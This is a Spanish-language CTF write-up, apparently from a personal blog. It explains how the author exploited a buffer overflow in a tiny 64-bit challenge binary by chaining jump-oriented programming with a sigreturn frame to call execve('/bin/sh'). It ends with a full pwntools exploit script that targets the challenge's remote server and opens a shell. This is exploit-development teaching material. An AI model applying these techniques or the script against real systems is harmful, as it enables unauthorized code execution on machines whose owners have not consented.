dplastico

Vengo con el vuelo del CTF de CONVID que estuvo, pero es que de Lujo! Felicitaciones a los organizadores. El CTF tenía de todo, desafios de Stego, Crypto, Misc, Web, etc. Y sobre todo mi categoría favorita PWN!,  soy muy aficionado al exploit dev y sabiendo que algunos desafíos serian hechos por el gran c4e venía con muchas expectativas de lo mismo, por lo que me puse de meta intentar todos los desafíos posibles de la categoría, y estoy muy orgullo del logro, ya que no fue fácil

Hasta el último minuto no tenía equipo, pero mi amigo n0m0 (MVP de nuestro equipo) Se le ocurrió juntar algunos amigos para ver qué podíamos hacer,  la verdad la experiencia siempre es grata, es increíble lo que puedes aprender de todos y las ideas que se discuten, así que gracias de nuevo a mi team Jot_Kiddiez (yeah hackers de los 90!). Me voy muy contento con el tercer lugar, además de felicitar los ganadores Cntr0llz quienes por paliza nuevamente se llevan otro CTF a sus bolsillos.

Yendo a lo nuestro! El reto en cuestión es un reto llamado Scandinavian Joournal of Psychology (Que fumaron?). Es un binario sujeto la ejecución  de JOP (jump oriented programming), sí de nuevo, pero esta vez las cosas son un poco más difíciles, casi tanto como con el desafío “Labot”, que pueden leer el writeup en el blog de otro crack f4d3!. 

Revisamos primero el binario para observar que es un ELF de 64 bit dinámicamente linkeado. 

Y podemos usar checksec para ver que tiene protección en el stack solamente (NX), por lo tanto no tendremos que lidiar con aslr

Cuando analizamos el binario con radare2,, podemos observar que es un binario muy pequeño, sin instrucciones “ret” por lo que deberemos ocupar los saltos a registros para controlar el flujo del stack, luego de darnos cuenta que existe un overflow en la función read

Probamos usar cyclic para identificar el crash en gdb

Y luego calcular el offset al crash en RSP que resulta en 264

Además podemos usar objdump para obtener más información del binario y buscar los gadgets disponibles, resulta interesante que existe una sección .data la cual nos será de utilidad más tarde

Y aca los gadgets disponibles (muy pocos!)

Qué hacemos ahora pues jop! Como expliqué en otras ocasiones necesitamos setear  un dispatcher el cual nos permita retornar al stack y tomar instrucciones de el cada vez que “retornemos” con un salto. El registro a setear parece ser RCX por y nuestro dispatcher es el salto al stack:

Así que comenzamos seteando algunas variables y nuestro payload:

Bueno con esto ya podemos saber que siempre que ocupemos un gadget que lleve a un salto a RCX vamos a poder retornar a ejecutar la instrucción que se encuentr en el stack, y ahora… Aca es donde uno se cabecea y le da vueltas, no estaba fácil. Luego de muchas pruebas observamos que si llamamos nuevamente a read, el valor de RAX se intercambia con el valor de RDX (el cual contiene el tamaño del buffer donde lee read.

Genial si sumamos esto al gadget que nos permite aumentar RAX en 7 podemos hacer que el valor de RAX sea 0xF. Que nos permite esto? Pues hacer SROP! O sigreturn oriented programming, que en verdad es una técnica de explotación del tipo “one gadget” ya que nos permite hacer una llamada a sigreturn (que no pide argumentos) y esto nos ayudará a luego crear un “fake frame” lo cual nos permitirá situar los registros a los valores que queramos.

Mas info de SROP Aca!

Excelente pues llamaremos entonces a sigreturn y seteamos los registros para llamar a execve

Y dado que llamamos de nuevo read usaremos read para setear los valores de RSI a .data (y escribir /bin/sh para luego usarlo con execve()). Y RDX a 8 para setear luego RAX al mismo valor, nuestro payload queda así (gracias pwntools!)

Ahora le ponemos bencina a la cosa y ejecutamos, podemos ver la llamada a read para escribir en .data:

y luego sigreturn para setear los registros

Y finalmente exceve() con la llamada a /bin/sh

Ahora aprobamos remoto y BANG! FLAG DANCE! 

Aca les dejo el exploit completo, lo pase genial! Pronto espero compartir mas writeups del CTF, estuvo muy bueno!

from pwn import *
from time import sleep

context.clear(arch="amd64")
gdbscript = '''
break *0x00400107
continue
'''
data = 0x600124
dispatcher = 0x00400107
binsh = "/bin/sh\x00"
syscall = 0x400105

payload = (cyclic(256))
payload += p64(0x400115) #pop rcx
payload += p64(dispatcher)#rcx
payload += p64(0x400114)#pop
payload += p64(data)#rsi
payload += p64(0x8)#rdx
payload += p64(0x4000ff)#read
payload += p64(0x400119)
payload += p64(syscall)

frame = SigreturnFrame(kernel="amd64")
frame.rax = 0x3b
frame.rdi = data
frame.rsi = 0 
frame.rdx = 0
frame.rip = syscall
payload += str(frame)

#r = gdb.debug('./nanana', gdbscript)
#r = process('./nanana')
r = remote('172.104.234.7', 7891)
r.sendline(payload)
sleep(1)
r.sendline(binsh)# instrucciones?

r.interactive()